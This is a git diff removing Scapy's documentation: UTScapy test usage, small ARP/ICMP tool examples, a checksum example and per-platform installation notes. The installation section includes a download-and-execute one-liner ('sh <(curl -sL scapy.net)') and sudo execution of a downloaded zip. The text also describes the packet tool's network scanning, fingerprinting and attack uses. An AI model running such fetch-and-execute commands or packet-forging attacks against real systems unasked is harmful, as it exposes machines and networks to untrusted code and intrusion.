-It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed.
-
-The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax::
-
- [root@localhost scapy]# ./UTscapy.py –h
- Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file]
- [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]]
- [-l] [-d|-D] [-F] [-q[q]]
- -l : generate local files
- -F : expand only failed tests
- -d : dump campaign
- -D : dump campaign and stop
- -C : don't calculate CRC and SHA
- -q : quiet mode
- -qq : [silent mode]
- -n <testnum> : only tests whose numbers are given (eg. 1,3-7,12)
- -m <module> : additional module to put in the namespace
- -k <kw1>,<kw2>,... : include only tests with one of those keywords (can be used many times)
- -K <kw1>,<kw2>,... : remove tests with one of those keywords (can be used many times)
-
-Table 3 - UTScapy command line syntax
-
-All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from <STDIN>. Similarly, if no output file is specified it is directed to <STDOUT>. The default output format is “ansi”. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy.
-
-========== ============== =============================================================================
-Argument Argument Value Meaning to UTScapy
-========== ============== =============================================================================
--t testfile Input test file defining test campaign (default = <STDIN>)
--o output_file File for output of test campaign results (default = <STDOUT>)
--f test ansi, HTML, LaTeX, Format out output report (default = ansi)
--l Generate report associated files locally. For HTML, generates JavaScript
- and the style sheet
--F Failed test cases will be initially expanded by default in HTML output
--d Print a terse listing of the campaign before executing the campaign
--D Print a terse listing of the campaign and stop. Do not execute campaign
--C Do not calculate test signatures
--q Do not update test progress to the screen as tests are executed
--qq Silent mode
--n testnum Execute only those tests listed by number. Test numbers may be
- retrieved using –d or –D. Tests may be listed as a comma
- separated list and may include ranges (e.g. 1, 3-7, 12)
--m module Load module before executing tests. Useful in testing derived works of Scapy.
- Note: Derived works that are intended to execute as "__main__" will not be
- invoked by UTScapy as “__main__”.
--k kw1, kw2, ... Include only tests with keyword “kw1”. Multiple keywords may be specified.
--K kw1, kw2, ... Exclude tests with keyword “kw1”. Multiple keywords may be specified.
-========== ============== =============================================================================
-
-Table 4 - UTScapy parameters
-
-Table 5 shows a simple test campaign with multiple test set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design.
-
-::
-
- % Example Test Campaign
-
- # Comment describing this campaign
- #
- # To run this campaign, try:
- # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F
- #
-
- * This comment is associated with the test campaign and will appear
- * in the produced output.
-
- + Test Set 1
-
- = Unit Test 1
- ~ test_set_1 simple
- a = 1
- print a
-
- = Unit test 2
- ~ test_set_1 simple
- * this test will fail
- b = 2
- a == b
-
- = Unit test 3
- ~ test_set_1 harder
- a = 1
- b = 2
- c = "hello"
- assert (a != b)
- c == "hello"
-
- + Test Set 2
-
- = Unit Test 4
- ~ test_set_2 harder
- b = 2
- d = b
- d is b
-
- = Unit Test 5
- ~ test_set_2 harder hardest
- a = 2
- b = 3
- d = 4
- e = (a * b)**d
- # The following statement evaluates to False but is not last; continue
- e == 6
- # assert evaluates to False; stop test and fail
- assert (e == 7)
- e == 1296
-
- = Unit Test 6
- ~ test_set_2 hardest
- print e
- e == 1296
-
-To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it::
-
-./test/run_tests -t demo_campaign.txt -f html -o demo_campaign.html -F -l
-
-Examine the output generated in file ``demo_campaign.html``.
diff --git a/doc/scapy/extending.rst b/doc/scapy/extending.rst
deleted file mode 100644
index 95ed628e..00000000
--- a/doc/scapy/extending.rst
+++ /dev/null
@@ -1,98 +0,0 @@
-********************
-Build your own tools
-********************
-
-You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file.
-
-If you have built some interesting tools, please contribute back to the mailing-list!
-
-
-Using Scapy in your tools
-=========================
-You can easily use Scapy in your own tools. Just import what you need and do it.
-
-This first example take an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet::
-
- #! /usr/bin/env python
-
- import sys
- from scapy.all import sr1,IP,ICMP
-
- p=sr1(IP(dst=sys.argv[1])/ICMP())
- if p:
- p.show()
-
-This is a more complex example which does an ARP ping and reports what it found with LaTeX formatting::
-
- #! /usr/bin/env python
- # arping2tex : arpings a network and outputs a LaTeX table as a result
-
- import sys
- if len(sys.argv) != 2:
- print "Usage: arping2tex <net>\n eg: arping2tex 192.168.1.0/24"
- sys.exit(1)
-
- from scapy.all import srp,Ether,ARP,conf
- conf.verb=0
- ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]),
- timeout=2)
-
- print r"\begin{tabular}{|l|l|}"
- print r"\hline"
- print r"MAC & IP\\"
- print r"\hline"
- for snd,rcv in ans:
- print rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\")
- print r"\hline"
- print r"\end{tabular}"
-
-Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing::
-
- #! /usr/bin/env python
- from scapy.all import *
-
- def arp_monitor_callback(pkt):
- if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
- return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
-
- sniff(prn=arp_monitor_callback, filter="arp", store=0)
-
-For a real life example, you can check `Wifitap <http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html>`_.
-
-
-Extending Scapy with add-ons
-============================
-
-If you need to add some new protocols, new functions, anything, you can write it directly into Scapy source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file.
-
-Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact()::
-
- #! /usr/bin/env python
-
- # Set log level to benefit from Scapy warnings
- import logging
- logging.getLogger("scapy").setLevel(1)
-
- from scapy.all import *
-
- class Test(Packet):
- name = "Test packet"
- fields_desc = [ ShortField("test1", 1),
- ShortField("test2", 2) ]
-
- def make_test(x,y):
- return Ether()/IP()/Test(test1=x,test2=y)
-
- if __name__ == "__main__":
- interact(mydict=globals(), mybanner="Test add-on v3.14")
-
-
-If you put the above listing in the test_interact.py file and make it executable, you'll get::
-
- # ./test_interact.py
- Welcome to Scapy (0.9.17.109beta)
- Test add-on v3.14
- >>> make_test(42,666)
- <Ether type=0x800 |<IP |<Test test1=42 test2=666 |>>>
-
-
diff --git a/doc/scapy/functions.rst b/doc/scapy/functions.rst
deleted file mode 100644
index 836ff936..00000000
--- a/doc/scapy/functions.rst
+++ /dev/null
@@ -1,34 +0,0 @@
-***********************
-Calling Scapy functions
-***********************
-
-This section provides some examples that show how to benefit from Scapy
-functions in your own code.
-
-UDP checksum
-============
-
-The following example explains howto use the checksum() function to compute and
-UDP checksum manually. The following steps must be performed:
-
-1. compute the UDP pseudo header as described in RFC768
-2. build an UDP packet with Scapy with p[UDP].chksum=0
-3. call checksum() with the pseudo header and the UDP packet
-
-::
-
- from scapy.all import *
-
- # Get the UDP checksum computed by Scapy
- packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP()/DNS()
- packet = IP(raw(packet)) # Build packet (automatically done when sending)
- checksum_scapy = packet[UDP].chksum
-
- # Set the UDP checksum to 0 and compute the checksum 'manually'
- packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP(chksum=0)/DNS()
- packet_raw = raw(packet)
- udp_raw = packet_raw[20:]
- # in4_chksum is used to automatically build a pseudo-header
- chksum = in4_chksum(socket.IPPROTO_UDP, packet[IP], udp_raw) # For more infos, call "help(in4_chksum)"
-
- assert(checksum_scapy == chksum)
diff --git a/doc/scapy/graphics/ATMT_HelloWorld.png b/doc/scapy/graphics/ATMT_HelloWorld.png
deleted file mode 100644
index e5b5ddb1..00000000
--- a/doc/scapy/graphics/ATMT_HelloWorld.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/ATMT_TFTP_read.png b/doc/scapy/graphics/ATMT_TFTP_read.png
deleted file mode 100644
index 50621d97..00000000
--- a/doc/scapy/graphics/ATMT_TFTP_read.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/command-ls.png b/doc/scapy/graphics/command-ls.png
deleted file mode 100644
index 3888117d..00000000
--- a/doc/scapy/graphics/command-ls.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/default-values-ip.pdf b/doc/scapy/graphics/default-values-ip.pdf
deleted file mode 100644
index 7b179ae3..00000000
--- a/doc/scapy/graphics/default-values-ip.pdf
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/default-values-ip.png b/doc/scapy/graphics/default-values-ip.png
deleted file mode 100644
index 098c57e4..00000000
--- a/doc/scapy/graphics/default-values-ip.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/fieldsmanagement.pdf b/doc/scapy/graphics/fieldsmanagement.pdf
deleted file mode 100644
index 1bc02456..00000000
--- a/doc/scapy/graphics/fieldsmanagement.pdf
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/fieldsmanagement.png b/doc/scapy/graphics/fieldsmanagement.png
deleted file mode 100644
index 5fb7bc9d..00000000
--- a/doc/scapy/graphics/fieldsmanagement.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/graph_traceroute.png b/doc/scapy/graphics/graph_traceroute.png
deleted file mode 100644
index 2ad33296..00000000
--- a/doc/scapy/graphics/graph_traceroute.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/ipid.png b/doc/scapy/graphics/ipid.png
deleted file mode 100644
index e7100478..00000000
--- a/doc/scapy/graphics/ipid.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/isakmp_dump.png b/doc/scapy/graphics/isakmp_dump.png
deleted file mode 100644
index 790bb9d5..00000000
--- a/doc/scapy/graphics/isakmp_dump.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/scapy-concept.pdf b/doc/scapy/graphics/scapy-concept.pdf
deleted file mode 100644
index 9425f345..00000000
--- a/doc/scapy/graphics/scapy-concept.pdf
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/scapy-concept.png b/doc/scapy/graphics/scapy-concept.png
deleted file mode 100644
index 8c6b6676..00000000
--- a/doc/scapy/graphics/scapy-concept.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/scapy-main-console.png b/doc/scapy/graphics/scapy-main-console.png
deleted file mode 100644
index 4b1c9e97..00000000
--- a/doc/scapy/graphics/scapy-main-console.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/scapy-win-screenshot1.png b/doc/scapy/graphics/scapy-win-screenshot1.png
deleted file mode 100644
index 2429d98f..00000000
--- a/doc/scapy/graphics/scapy-win-screenshot1.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/scapy-win-screenshot2.png b/doc/scapy/graphics/scapy-win-screenshot2.png
deleted file mode 100644
index 2fef46b9..00000000
--- a/doc/scapy/graphics/scapy-win-screenshot2.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/scapy_logo.png b/doc/scapy/graphics/scapy_logo.png
deleted file mode 100644
index 5b8e9ebd..00000000
--- a/doc/scapy/graphics/scapy_logo.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/testing-taxonomy.png b/doc/scapy/graphics/testing-taxonomy.png
deleted file mode 100644
index dd304177..00000000
--- a/doc/scapy/graphics/testing-taxonomy.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/trace3d_1.png b/doc/scapy/graphics/trace3d_1.png
deleted file mode 100644
index 60750f0e..00000000
--- a/doc/scapy/graphics/trace3d_1.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/graphics/trace3d_2.png b/doc/scapy/graphics/trace3d_2.png
deleted file mode 100644
index f2a4c4dd..00000000
--- a/doc/scapy/graphics/trace3d_2.png
+++ /dev/null
Binary files differ
diff --git a/doc/scapy/index.rst b/doc/scapy/index.rst
deleted file mode 100644
index d7af30b8..00000000
--- a/doc/scapy/index.rst
+++ /dev/null
@@ -1,33 +0,0 @@
-.. Scapy documentation master file, created by sphinx-quickstart on Mon Sep 8 19:37:39 2008.
- You can adapt this file completely to your liking, but it should at least
- contain the root `toctree` directive.
-
-Welcome to Scapy's documentation!
-=================================
-
-.. image:: graphics/scapy_logo.png
- :scale: 20
- :align: center
-
-:Release: |version|
-:Date: |today|
-
-This document is under a `Creative Commons Attribution - Non-Commercial
-- Share Alike 2.5 <http://creativecommons.org/licenses/by-nc-sa/2.5/>`_ license.
-
-.. toctree::
- :maxdepth: 2
-
- introduction
- installation
-
- usage
- advanced_usage
- extending
- build_dissect
- functions
-
- troubleshooting
- development
- backmatter
-
diff --git a/doc/scapy/installation.rst b/doc/scapy/installation.rst
deleted file mode 100644
index 941db6c9..00000000
--- a/doc/scapy/installation.rst
+++ /dev/null
@@ -1,468 +0,0 @@
-.. highlight:: sh
-
-*************************
-Download and Installation
-*************************
-
-Overview
-========
-
- 0. Install `Python 2.7.X or 3.3+ <https://www.python.org/downloads/>`_.
- 1. `Download and install Scapy. <#installing-scapy-v2-x>`_
- 2. `Follow the platform specific instructions (depedencies) <#platform-specific-instructions>`_.
- 3. (Optional): `Install additional software for special features <#optional-software-for-special-features>`_.
- 4. Run Scapy with root privileges.
-
-Each of these steps can be done in a different way dependent on your platform and on the version of Scapy you want to use.
-
-At the moment, there are two different versions of Scapy:
-
-* **Scapy v2.x**. The current up-to-date version. It consists of several files packaged in the standard distutils way.
- Scapy v2 <= 2.3.3 needs Python 2.5, Scapy v2 > 2.3.3 needs Python 2.7 or 3.3+.
-* **Scapy v1.x (deprecated)**. It does not support Python 3. It consists of only one file and works on Python 2.4, so it might be easier to install.
- Moreover, your OS may already have a specially prepared packages or ports for it. Last version is v1.2.2.
-
-.. note::
-
- In Scapy v2 use ``from scapy.all import *`` instead of ``from scapy import *``.
-
-
-Installing Scapy v2.x
-=====================
-
-The following steps describe how to install (or update) Scapy itself.
-Dependent on your platform, some additional libraries might have to be installed to make it actually work.
-So please also have a look at the platform specific chapters on how to install those requirements.
-
-.. note::
-
- The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X).
- For Windows, see the `special chapter <#windows>`_ below.
-
-Make sure you have Python installed before you go on.
-
-Latest release
---------------
-
-.. note::
- To get the latest versions, with bugsfixes and new features, but maybe not as stable, see the `development version <#current-development-version>`_.
-
-Use pip::
-
-$ pip install scapy
-
-
-You can also download the `latest version <http://scapy.net>`_ to a temporary directory and install it in the standard `distutils <http://docs.python.org/inst/inst.html>`_ way::
-
-$ cd /tmp
-$ wget --trust-server-names scapy.net # or wget -O scapy.zip scapy.net
-$ unzip scapy-x.x.x.zip
-$ cd scapy
-$ sudo python setup.py install
-
-Alternatively, you can execute the zip file::
-
-$ chmod +x scapy-x.x.x.zip
-$ sudo ./scapy-x.x.x.zip
-
-or::
-
-$ sudo sh scapy-x.x.x.zip
-
-or::
-
-$ mv scapy-x.x.x.zip /usr/local/bin/scapy
-$ sudo scapy
-
-or::
-
-$ chmod +x scapy-x.x.x.zip
-$ ./scapy-x.x.x.zip
-
-or download and run in one command::
-
-$ sh <(curl -sL scapy.net)
-
-.. note::
-
- To make a zip executable, some bytes have been added before the zip header.
- Most zip programs handle this, but not all. If your zip program complains
- about the zip file to be corrupted, either change it, or download a
- non-executable zip at https://github.com/secdev/scapy/archive/master.zip
-
-
-Current development version
-----------------------------
-
-.. index::
- single: Git, repository
-
-If you always want the latest version with all new features and bugfixes, use Scapy's Git repository:
-
-1. Install the Git version control system. For example, on Debian/Ubuntu use::
-
- $ sudo apt-get install git
-
- or on OpenBSD::
-
- $ doas pkg_add git
-
-2. Check out a clone of Scapy's repository::
-
- $ git clone https://github.com/secdev/scapy
-
-3. Install Scapy in the standard distutils way::
-
- $ cd scapy
- $ sudo python setup.py install
-
-Then you can always update to the latest version::
-
- $ git pull
- $ sudo python setup.py install
-
-.. note::
-
- You can run scapy without installing it using the ``run_scapy`` (unix) or ``run_scapy.bat`` (Windows) script or running it directly from the executable zip file (see previous section).
-
-Installing Scapy v1.2 (Deprecated)
-==================================
-
-As Scapy v1 consists only of one single Python file, installation is easy:
-Just download the last version and run it with your Python interpreter::
-
- $ wget https://raw.githubusercontent.com/secdev/scapy/v1.2.0.2/scapy.py
- $ sudo python scapy.py
-
-Optional software for special features
-======================================
-
-For some special features you have to install more software.
-Most of those softwares are installable via ``pip``.
-Here are the topics involved and some examples that you can use to try if your installation was successful.
-
-.. index::
- single: plot()
-
-* Plotting. ``plot()`` needs `Matplotlib <https://matplotlib.org/>`_. It is installable via ``pip install matplotlib``
-
- .. code-block:: python
-
- >>> p=sniff(count=50)
- >>> p.plot(lambda x:len(x))
-
-* 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX <http://pyx.sourceforge.net/>`_ which in turn needs a LaTeX distribution: `texlive (Unix) <http://www.tug.org/texlive/>`_ or `MikTex (Windows) <https://miktex.org/>`_. For viewing the PDF and PS files interactively, you also need `Adobe Reader <http://www.adobe.com/products/reader/>`_ (``acroread``) and `gv <http://wwwthep.physik.uni-mainz.de/~plass/gv/>`_ (``gv``).
-
- Note: PyX requires version 0.12 on Python 2.7. This means that on Python 2.7, it needs to be installed via ``pip install pyx==0.12``. Otherwise ``pip install pyx``
-
- .. code-block:: python
-
- >>> p=IP()/ICMP()
- >>> p.pdfdump("test.pdf")
-
-* Graphs. ``conversations()`` needs `Graphviz <http://www.graphviz.org/>`_ and `ImageMagick <http://www.imagemagick.org/>`_.
-
- .. code-block:: python
-
- >>> p=readpcap("myfile.pcap")
- >>> p.conversations(type="jpg", target="> test.jpg")
-
-* 3D graphics. ``trace3D()`` needs `VPython <http://www.vpython.org/>`_.
-
- .. code-block:: python
-
- >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"])
- >>> a.trace3D()
-
-.. index::
- single: WEP, unwep()
-
-* WEP decryption. ``unwep()`` needs `cryptography <https://cryptography.io>`_. Example using a `Weplap test file <http://weplab.sourceforge.net/caps/weplab-64bit-AA-managed.pcap>`_:
-
- Cryptography is installable via ``pip install cryptography``
-
- .. code-block:: python
-
- >>> enc=rdpcap("weplab-64bit-AA-managed.pcap")
- >>> enc.show()
- >>> enc[0]
- >>> conf.wepkey="AA\x00\x00\x00"
- >>> dec=Dot11PacketList(enc).toEthernet()
- >>> dec.show()
- >>> dec[0]
-
-* PKI operations and TLS decryption. `cryptography <https://cryptography.io>`_ is also needed.
-
-* Fingerprinting. ``nmap_fp()`` needs `Nmap <http://nmap.org>`_. You need an `old version <http://nmap.org/dist-old/>`_ (before v4.23) that still supports first generation fingerprinting.
-
- .. code-block:: python
-
- >>> load_module("nmap")
- >>> nmap_fp("192.168.0.1")
- Begin emission:
- Finished to send 8 packets.
- Received 19 packets, got 4 answers, remaining 4 packets
- (0.88749999999999996, ['Draytek Vigor 2000 ISDN router'])
-
-* Queso is used withing the queso module: `queso-980922.tar.gz <http://www.packetstormsecurity.org/UNIX/scanners/queso-980922.tar.gz>`_. Extract the tar.gz file (e.g. using `7-Zip <http://www.7-zip.org/>`_) and put ``queso.conf`` into your Scapy directory
-
-.. index::
- single: VOIP
-
-* VOIP. ``voip_play()`` needs `SoX <http://sox.sourceforge.net/>`_.
-
-Platform-specific instructions
-==============================
-
-Linux native
-------------
-
-Scapy can run natively on Linux, without libdnet and libpcap.
-
-* Install `Python 2.7 or 3.3+ <http://www.python.org>`_.
-* Install `tcpdump <http://www.tcpdump.org>`_ and make sure it is in the $PATH. (It's only used to compile BPF filters (``-ddd option``))
-* Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``)
-* If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``)
-
-Debian/Ubuntu
--------------
-
-Just use the standard packages::
-
-$ sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-cryptography python-pyx
-
-Scapy optionally uses python-cryptography v1.7 or later. It has not been packaged for ``apt`` in less recent OS versions (e.g. Debian Jessie). If you need the cryptography-related methods, you may install the library with:
-
-.. code-block:: text
-
- # pip install cryptography
-
-Fedora
-------
-
-Here's how to install Scapy on Fedora 9:
-
-.. code-block:: text
-
- # yum install git python-devel
- # cd /tmp
- # git clone https://github.com/secdev/scapy
- # cd scapy
- # python setup.py install
-
-Some optional packages:
-
-.. code-block:: text
-
- # yum install graphviz python-cryptography sox PyX gnuplot numpy
- # cd /tmp
- # wget http://heanet.dl.sourceforge.net/sourceforge/gnuplot-py/gnuplot-py-1.8.tar.gz
- # tar xvfz gnuplot-py-1.8.tar.gz
- # cd gnuplot-py-1.8
- # python setup.py install
-
-
-Mac OS X
---------
-
-On Mac OS X, Scapy does not work natively. You need to install Python bindings
-to use libdnet and libpcap. You can choose to install using either Homebrew or
-MacPorts. They both work fine, yet Homebrew is used to run unit tests with
-`Travis CI <https://travis-ci.org>`_.
-
-
-Install using Homebrew
-^^^^^^^^^^^^^^^^^^^^^^
-
-1. Update Homebrew::
-
- $ brew update
-
-2. Install Python bindings::
-
-
- $ brew install --with-python libdnet
- $ brew install https://raw.githubusercontent.com/secdev/scapy/master/.travis/pylibpcap.rb
- $ sudo brew install --with-python libdnet
- $ sudo brew install https://raw.githubusercontent.com/secdev/scapy/master/.travis/pylibpcap.rb
-
-
-Install using MacPorts
-^^^^^^^^^^^^^^^^^^^^^^
-
-1. Update MacPorts::
-
- $ sudo port -d selfupdate
-
-2. Install Python bindings::
-
- $ sudo port install py-libdnet py-pylibpcap
-
-
-OpenBSD
--------
-
-Here's how to install Scapy on OpenBSD 5.9+
-
-.. code-block:: text
-
- $ doas pkg_add py-libpcap py-libdnet git
- $ cd /tmp
- $ git clone http://github.com/secdev/scapy
- $ cd scapy
- $ doas python2.7 setup.py install
-
-
-Optional packages (OpenBSD only)
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-py-cryptography
-
-.. code-block:: text
-
- # pkg_add py-cryptography
-
-gnuplot and its Python binding:
-
-.. code-block:: text
-
- # pkg_add gnuplot py-gnuplot
-
-Graphviz (large download, will install several GNOME libraries)
-
-.. code-block:: text
-
- # pkg_add graphviz
-
-
-ImageMagick (takes long to compile)
-
-.. code-block:: text
-
- # cd /tmp
- # ftp ftp://ftp.openbsd.org/pub/OpenBSD/4.3/ports.tar.gz
- # cd /usr
- # tar xvfz /tmp/ports.tar.gz
- # cd /usr/ports/graphics/ImageMagick/
- # make install
-
-PyX (very large download, will install texlive etc.)
-
-.. code-block:: text
-
- # pkg_add py-pyx
-
-/etc/ethertypes
-
-.. code-block:: text
-
- # wget http://git.netfilter.org/ebtables/plain/ethertypes -O /etc/ethertypes
-
-python-bz2 (for UTscapy)
-
-.. code-block:: text
-
- # pkg_add python-bz2
-
-.. _windows_installation:
-
-Windows
--------
-
-.. sectionauthor:: Dirk Loss <mail at dirk-loss.de>
-
-Scapy is primarily being developed for Unix-like systems and works best on those platforms. But the latest version of Scapy supports Windows out-of-the-box. So you can use nearly all of Scapy's features on your Windows machine as well.
-
-.. note::
- If you update from Scapy-win v1.2.0.2 to Scapy v2 remember to use ``from scapy.all import *`` instead of ``from scapy import *``.
-
-.. image:: graphics/scapy-win-screenshot1.png
- :scale: 80
- :align: center
-
-You need the following software packages in order to install Scapy on Windows:
-
- * `Python <http://www.python.org>`_: `Python 2.7.X or 3.3+ <https://www.python.org/downloads/>`_. After installation, add the Python installation directory and its \Scripts subdirectory to your PATH. Depending on your Python version, the defaults would be ``C:\Python27`` and ``C:\Python27\Scripts`` respectively.
- * `Npcap <https://nmap.org/npcap/>`_: `the latest version <https://nmap.org/npcap/#download>`_. Default values are recommanded. Scapy will also work with Winpcap.
- * `Scapy <http://www.secdev.org/projects/scapy/>`_: `latest development version <https://github.com/secdev/scapy/archive/master.zip>`_ from the `Git repository <https://github.com/secdev/scapy>`_. Unzip the archive, open a command prompt in that directory and run "python setup.py install".
-
-Just download the files and run the setup program. Choosing the default installation options should be safe.
-
-For your convenience direct links are given to the version that is supported (Python 2.7 and 3.3+). If these links do not work or if you are using a different Python version (which will surely not work), just visit the homepage of the respective package and look for a Windows binary. As a last resort, search the web for the filename.
-
-After all packages are installed, open a command prompt (cmd.exe) and run Scapy by typing ``scapy``. If you have set the PATH correctly, this will find a little batch file in your ``C:\Python27\Scripts`` directory and instruct the Python interpreter to load Scapy.
-
-If really nothing seems to work, consider skipping the Windows version and using Scapy from a Linux Live CD -- either in a virtual machine on your Windows host or by booting from CDROM: An older version of Scapy is already included in grml and BackTrack for example. While using the Live CD you can easily upgrade to the latest Scapy version by typing ``cd /tmp && wget scapy.net``.
-
-Screenshot
-^^^^^^^^^^
-
-.. image:: graphics/scapy-win-screenshot2.png
- :scale: 80
- :align: center
-
-Known bugs
-^^^^^^^^^^
-
- * You may not be able to capture WLAN traffic on Windows. Reasons are explained on the Wireshark wiki and in the WinPcap FAQ. Try switching off promiscuous mode with ``conf.sniff_promisc=False``.
- * Packets sometimes cannot be sent to localhost (or local IP addresses on your own host).
-
-Winpcap/Npcap conflicts
-^^^^^^^^^^^^^^^^^^^^^^^
-
-As Winpcap is becoming old, it's recommanded to use Npcap instead. Npcap is part of the Nmap project.
-
-1. If you get the message 'Winpcap is installed over Npcap.' it means that you have installed both winpcap and npcap versions, which isn't recommanded.
-
-You may uninstall winpcap from your Program Files, then you will need to remove:
- * C:/Windows/System32/wpcap.dll
- * C:/Windows/System32/Packet.dll
-
-To use npcap instead.
-
-2. If you get the message 'The installed Windump version does not work with Npcap' it means that you have installed an old version of Windump.
-Download the correct one on https://github.com/hsluoyz/WinDump/releases
-
-Build the documentation offline
-===============================
-The Scapy project's documentation is written using reStructuredText (files \*.rst) and can be built using
-the `Sphinx <http://www.sphinx-doc.org/>`_ python library. The official online version is available
-on `readthedocs <http://scapy.readthedocs.io/>`_.
-
-HTML version
-------------
-The instructions to build the HTML version are: ::
-
- (activate a virtualenv)
- pip install sphinx
- cd doc/scapy
- make html
-
-Or on windows, simply run ``BuildDoc.bat``
-
-You can now open the resulting HTML file ``_build/html/index.html`` in your favorite web browser.
-
-To use the ReadTheDocs' template, you will have to install the corresponding theme with: ::
-
- pip install sphinx_rtd_theme
-
-If installed, it will be automatically used, but you may disable it by setting ``auto_rtd`` to ``False`` in ``doc/scapy/conf.py``
-
-UML diagram
------------
-Using ``pyreverse`` you can build an UML representation of the Scapy source code's object hierarchy. Here is an
-example on how to build the inheritence graph for the Fields objects : ::
-
- (activate a virtualenv)
- pip install pylint
- cd scapy/
- pyreverse -o png -p fields scapy/fields.py
-
-This will generate a ``classes_fields.png`` picture containing the inheritance hierarchy. Note that you can provide as many
-modules or packages as you want, but the result will quickly get unreadable.
-
-To see the dependencies between the DHCP layer and the ansmachine module, you can run: ::
-
- pyreverse -o png -p dhcp_ans scapy/ansmachine.py scapy/layers/dhcp.py scapy/packet.py
-
-In this case, Pyreverse will also generate a ``packages_dhcp_ans.png`` showing the link between the different python modules provided.
diff --git a/doc/scapy/introduction.rst b/doc/scapy/introduction.rst
deleted file mode 100644
index 1f8c00e5..00000000
--- a/doc/scapy/introduction.rst
+++ /dev/null
@@ -1,212 +0,0 @@
-************
-Introduction
-************
-
-.. sectionauthor:: Philippe Biondi <phil at secdev.org>
-
-About Scapy
-===========
-Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.
-
-In other words, Scapy is a powerful interactive packet manipulation program.
-It is able to forge or decode packets of a wide number of protocols,
-send them on the wire, capture them, match requests and replies, and
-much more. Scapy can easily handle most classical tasks like scanning,
-tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark).
-
-.. image:: graphics/testing-taxonomy.*
- :scale: 50
-
-Scapy also performs very well on a lot of other
-specific tasks that most other tools can't handle, like sending invalid frames,
-injecting your own 802.11 frames, combining techniques
-(VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc.
-
-The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet.
-
-On top of this can be build more high level functions, for example one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report.
-
-
-What makes Scapy so special
-===========================
-
-First, with most other networking tools, you won't build something the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool.
-
-Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved to human beings. Some programs try to mimic this behaviour. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed.
-
-Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding?
-
